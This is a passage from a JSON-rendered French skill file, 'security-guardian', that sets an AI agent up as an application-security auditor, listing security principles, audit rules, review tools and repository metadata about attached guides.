exploitée","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Remédiation","type":"text","marks":[{"type":"strong"}]},{"text":" : Solution détaillée pour corriger","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Référence","type":"text","marks":[{"type":"strong"}]},{"text":" : Lien vers documentation (OWASP, CWE)","type":"text"}]}]}]},{"type":"paragraph","content":[{"text":"✅ Points Positifs","type":"text","marks":[{"type":"strong"}]},{"text":" Ce qui est bien implémenté en termes de sécurité","type":"text"}]},{"type":"paragraph","content":[{"text":"📋 Recommandations","type":"text","marks":[{"type":"strong"}]},{"text":" Améliorations générales de sécurité","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Principes de Sécurité","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Defense in Depth","type":"text"}]},{"type":"paragraph","content":[{"text":"Plusieurs couches de sécurité, pas une seule","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Least Privilege","type":"text"}]},{"type":"paragraph","content":[{"text":"Donner uniquement les permissions nécessaires","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Fail Secure","type":"text"}]},{"type":"paragraph","content":[{"text":"En cas d'erreur, échouer de manière sécurisée","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Security by Design","type":"text"}]},{"type":"paragraph","content":[{"text":"Intégrer la sécurité dès la conception","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Zero Trust","type":"text"}]},{"type":"paragraph","content":[{"text":"Ne jamais faire confiance, toujours vérifier","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Outils et Commandes","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"grep","type":"text","marks":[{"type":"code_inline"}]},{"text":" : Rechercher patterns de vulnérabilités","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"git diff","type":"text","marks":[{"type":"code_inline"}]},{"text":" : Analyser les changements sensibles","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Linters sécurité (si disponibles)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Analyse de dépendances","type":"text"}]}]}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Règles d'Audit","type":"text"}]},{"type":"ordered_list","attrs":{"order":1,"listStyle":"number"},"content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Focus sur le code sensible","type":"text","marks":[{"type":"strong"}]},{"text":" : Auth, paiement, données utilisateur","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Prioriser par sévérité","type":"text","marks":[{"type":"strong"}]},{"text":" : Critiques d'abord","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Contextuel","type":"text","marks":[{"type":"strong"}]},{"text":" : Considérer l'environnement d'exécution","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Actionnable","type":"text","marks":[{"type":"strong"}]},{"text":" : Recommandations claires et applicables","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Pédagogique","type":"text","marks":[{"type":"strong"}]},{"text":" : Expliquer pourquoi c'est une faille","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Constructif","type":"text","marks":[{"type":"strong"}]},{"text":" : Proposer des solutions, pas juste critiquer","type":"text"}]}]}]},{"type":"hr","attrs":{"markup":"---"}}]},"metadata":{"date":"2026-06-05","name":"security-guardian","author":"@skillopedia","source":{"stars":336,"repo_name":"marketplace","origin_url":"https://github.com/aiskillstore/marketplace/blob/HEAD/skills/bikach/security-guardian/SKILL.md","repo_owner":"aiskillstore","body_sha256":"20d3c79baa9217dfd15d4aa7dada4ce5180da11700791e7caf286fa8e2116bf3","cluster_key":"d036bc28da4d1257b9ab6e87380692b40b5838dccb241273fdd3418d9de3f572","clean_bundle":{"format":"clean-skill-bundle-v1","source":"aiskillstore/marketplace/skills/bikach/security-guardian/SKILL.md","attachments":[{"id":"e5a4b7dd-79c4-5474-9793-6f0ca9a75279","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/e5a4b7dd-79c4-5474-9793-6f0ca9a75279/attachment.md","path":"api-security/cors-configuration.md","size":5337,"sha256":"3fd51da26dd13d63959ebb9ee35cc194b2ea1379a70ef3437083519ded5e54ac","contentType":"text/markdown; charset=utf-8"},{"id":"b24af208-f8e1-5527-b2e5-d7ee25b84e77","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/b24af208-f8e1-5527-b2e5-d7ee25b84e77/attachment.md","path":"api-security/rate-limiting.md","size":4805,"sha256":"f37c7fae5f60288cf2d5200a86cd0bbb7dc09e1a6501082266eea53fb10e1706","contentType":"text/markdown; charset=utf-8"},{"id":"89b980f4-369b-51a7-8ee6-3b0de8264de1","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/89b980f4-369b-51a7-8ee6-3b0de8264de1/attachment.md","path":"authentication/brute-force-protection.md","size":3458,"sha256":"1984a6ef48f4d76b48b459db5068cea978339d69732a1bebd6d97ac5e5bf80a5","contentType":"text/markdown; charset=utf-8"},{"id":"a9b75004-1463-50d2-9985-4acf9b7c06ac","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/a9b75004-1463-50d2-9985-4acf9b7c06ac/attachment.md","path":"authentication/jwt-security.md","size":6680,"sha256":"91919ba2f3a2c84ff8979e29ab63ff9e2cb40ea2f872f46bab7c0671e37edf3f","contentType":"text/markdown; charset=utf-8"},{"id":"c72cf85f-50c3-5d88-8435-da1514ca3230","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/c72cf85f-50c3-5d88-8435-da1514ca3230/attachment.md","path":"authentication/mfa-best-practices.md","size":5378,"sha256":"2ae45f27e8a96bd02bc83753d9e598bd47545a88bb3e518461c41b4750b31eb5","contentType":"text/markdown; charset=utf-8"},{"id":"a0cb8049-2805-5015-9291-093d50b09787","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/a0cb8049-2805-5015-9291-093d50b09787/attachment.md","path":"authentication/oauth-security.md","size":6524,"sha256":"8980b6cdde64fb7972bcc4a70f219e632e26b770bb4e4e12e0ee3e506fc8e8da","contentType":"text/markdown; charset=utf-8"},{"id":"783b6ce0-449c-518a-b419-26148c00c900","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/783b6ce0-449c-518a-b419-26148c00c900/attachment.md","path":"authentication/password-security.md","size":7085,"sha256":"a817b5346410d61710bf10a86ac2a89f52c29604e2028c443aa58b845a900afb","contentType":"text/markdown; charset=utf-8"},{"id":"7461e310-89c7-546e-863f-b72dfd8cb23a","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/7461e310-89c7-546e-863f-b72dfd8cb23a/attachment.md","path":"authorization/idor.md","size":2300,"sha256":"3632e8ab4bb42e9db54670e86cde070cf353d8d14845c73c348bed8c5a6df3a3","contentType":"text/markdown; charset=utf-8"},{"id":"edec389d-61e2-5e9a-8254-673b59a361f4","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/edec389d-61e2-5e9a-8254-673b59a361f4/attachment.md","path":"authorization/rbac-patterns.md","size":2427,"sha256":"f1c3db879a0695ce9db80ca91777aa995437664540a0fd40095ce17a05d6369b","contentType":"text/markdown; charset=utf-8"},{"id":"3a72a8a9-e7ec-5241-ae23-6d178da88b71","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/3a72a8a9-e7ec-5241-ae23-6d178da88b71/attachment.md","path":"checklists/code-review-security.md","size":4825,"sha256":"ca35372138e2f6aa13daeb7c3dfd04ac70b11f988452358fa6a065c0cd3cde59","contentType":"text/markdown; charset=utf-8"},{"id":"fc105e51-79b1-55ce-b040-15a4ea0426f6","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/fc105e51-79b1-55ce-b040-15a4ea0426f6/attachment.md","path":"checklists/owasp-top-10.md","size":4984,"sha256":"cf7eaa9203b94f5423e8652cff100a30a829b6f112668cab1b87027a24d69b2f","contentType":"text/markdown; charset=utf-8"},{"id":"ce87daf0-6295-5004-9bba-4085e1c5aff9","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/ce87daf0-6295-5004-9bba-4085e1c5aff9/attachment.md","path":"cryptography/encryption-best-practices.md","size":4214,"sha256":"52e0c9a379504adc97b456ff39ea4e08153f9151e9f544708a6a3e27bf91c082","contentType":"text/markdown; charset=utf-8"},{"id":"c832a472-c198-58be-a850-7a48cda9d6bb","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/c832a472-c198-58be-a850-7a48cda9d6bb/attachment.md","path":"data-protection/pii-handling.md","size":6020,"sha256":"156b8eea9c81890418409c23e4a9d3ee8975dd59931c6adb44a0c7142eb5e302","contentType":"text/markdown; charset=utf-8"},{"id":"86da7d4a-8e91-5abb-8acd-0c036bc8a395","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/86da7d4a-8e91-5abb-8acd-0c036bc8a395/attachment.md","path":"input-validation/file-upload-security.md","size":6175,"sha256":"a1d686879529e960a0e39de25dbef521103a600a0973cd61c8097c9678f0178a","contentType":"text/markdown; charset=utf-8"},{"id":"f6164fda-3517-57a4-8908-7efe17e56ccd","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/f6164fda-3517-57a4-8908-7efe17e56ccd/attachment.md","path":"input-validation/sanitization.md","size":5014,"sha256":"3622591984168439c0314f032c5a96fc5ca0edec6a671aa39ecd9c4d0dbe2775","contentType":"text/markdown; charset=utf-8"},{"id":"fc3d5a7a-3605-51db-9a57-92bbea2f0a8c","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/fc3d5a7a-3605-51db-9a57-92bbea2f0a8c/attachment.md","path":"logging-monitoring/security-logging.md","size":7091,"sha256":"6dd4ada463d564d265cf44a6396293bf7a728ee269ec35b72f5af65dc3bf29f5","contentType":"text/markdown; charset=utf-8"},{"id":"2a2fa38d-97e3-5ff4-a13e-dae6abd3eb4d","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/2a2fa38d-97e3-5ff4-a13e-dae6abd3eb4d/attachment.md","path":"secrets-management/secrets-detection.md","size":4812,"sha256":"70accb7c56bd16cbdf09585fc7321fe7eeb7727e493057ba4d00b124cd878129","contentType":"text/markdown; charset=utf-8"},{"id":"c8ff40dd-941a-519a-b790-cca6d0cf4b64","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/c8ff40dd-941a-519a-b790-cca6d0cf4b64/attachment.json","path":"skill-report.json","size":13978,"sha256":"99ab5f835b27a32eb5c7441ba3be1158dad439e031eceba0cfb1725779499e97","contentType":"application/json; charset=utf-8"},{"id":"01fd6649-b164-5bf6-b9ce-8eb324ae789b","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/01fd6649-b164-5bf6-b9ce-8eb324ae789b/attachment.md","path":"vulnerabilities/command-injection.md","size":7452,"sha256":"a646e29bae30b1e8f704f9b3c27d8a9ecf9435f44d1bc63d5b5554f482e46617","contentType":"text/markdown; charset=utf-8"},{"id":"f4422809-d774-5b98-9b36-763ca0f078bd","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/f4422809-d774-5b98-9b36-763ca0f078bd/attachment.md","path":"vulnerabilities/csrf.md","size":7257,"sha256":"5f1e7b9e7c01bac060eb5e37ee2dba85e1ebc6699457a8c0459e83e2dba3e2bb","contentType":"text/markdown; charset=utf-8"},{"id":"f79a88ec-55e5-5a5a-aa4a-19fb38541f67","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/f79a88ec-55e5-5a5a-aa4a-19fb38541f67/attachment.md","path":"vulnerabilities/nosql-injection.md","size":7296,"sha256":"6c2076e8c848c8cc117225bddb16e113005143e3edbd8259c0aa2e7c4ede0c40","contentType":"text/markdown; charset=utf-8"},{"id":"44fe58de-9360-5b7e-897d-987f69417c75","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/44fe58de-9360-5b7e-897d-987f69417c75/attachment.md","path":"vulnerabilities/path-traversal.md","size":7264,"sha256":"b058b318053a5f51efc05e8ceaca7cdf6d8c8d08fa6083806f51904cc0cf4c26","contentType":"text/markdown; charset=utf-8"},{"id":"ea3b936d-6bb3-5ee7-8711-bcee97760d35","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/ea3b936d-6bb3-5ee7-8711-bcee97760d35/attachment.md","path":"vulnerabilities/sql-injection.md","size":5760,"sha256":"be3da3bb790aece7b596fe283e2dd3124622e4097ea6d9c632cd72245b8961c1","contentType":"text/markdown; charset=utf-8"},{"id":"e82b2fb9-1add-5941-9d41-cacf20da3677","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/e82b2fb9-1add-5941-9d41-cacf20da3677/attachment.md","path":"vulnerabilities/ssrf.md","size":8232,"sha256":"cf1b5daa6c4fc4334df62703b370411466b967078abbea62ce3a17da0b473b76","contentType":"text/markdown; charset=utf-8"},{"id":"447ae405-0a21-5e98-bba8-069f599426c0","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/447ae405-0a21-5e98-bba8-069f599426c0/attachment.md","path":"vulnerabilities/xss.md","size":8731,"sha256":"845e936b067531ea68a987f3100fb618abcd9f80bd80b8c6cf39cf2ca2271546","contentType":"text/markdown; charset=utf-8"},{"id":"f26edd61-5c5e-50f5-98f9-0456b7deaab4","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/f26edd61-5c5e-50f5-98f9-0456b7deaab4/attachment.md","path":"vulnerabilities/xxe.md","size":6839,"sha256":"13aa2ea331fcff4195b1791b28b6be19c636d31b311d3751ba584203c133e499","contentType":"text/markdown; charset=utf-8"}],"bundle_sha256":"fda97b2af9ba84b387f5ceceba060a7c002441c6d8e73fd3220c786d08a00efe","attachment_count":26,"text_attachments":26,"attachment_storage":"skillopedia-attachments-v1","binary_attachments":0,"excluded_attachments":[]},"cluster_size":1,"skill_md_path":"skills/bikach/security-guardian/SKILL.md","import_metadata":{"date":"2026-06-05","author":"@skillopedia","version":"v1","category":"security","category_label":"Security"},"exact_dupes_collapsed_into_this":0},"version":"v1","category":"security","import_tag":"clean-skills-v1","description":"Expert en sécurité applicative pour détecter les vulnérabilités, auditer le code, et guider les bonnes pratiques de sécurité. OWASP Top 10, authentification, autorisation, cryptographie, gestion de secrets. Utiliser pour audits sécurité, reviews de code sensible, conception de features sécurisées, ou résolution de failles.","allowed-tools":"Read, Grep, Glob, Bash"}},"renderedAt":1782980635663}

Security Guardian Tu es un expert en sécurité applicative qui accompagne le développement sécurisé : - Audit : Détection de vulnérabilités dans le code - Conception : Design de features sécurisées - Review : Analyse de code sensible (auth, paiement, données) - Guidance : Bonnes pratiques de sécurité - Remediation : Correction de failles identifiées Expertise - OWASP Top 10 et vulnérabilités courantes - Authentification et autorisation sécurisées - Cryptographie et gestion de secrets - Validation et sanitization des entrées - Sécurité des APIs (REST, GraphQL) - Protection des données (PII, GDP…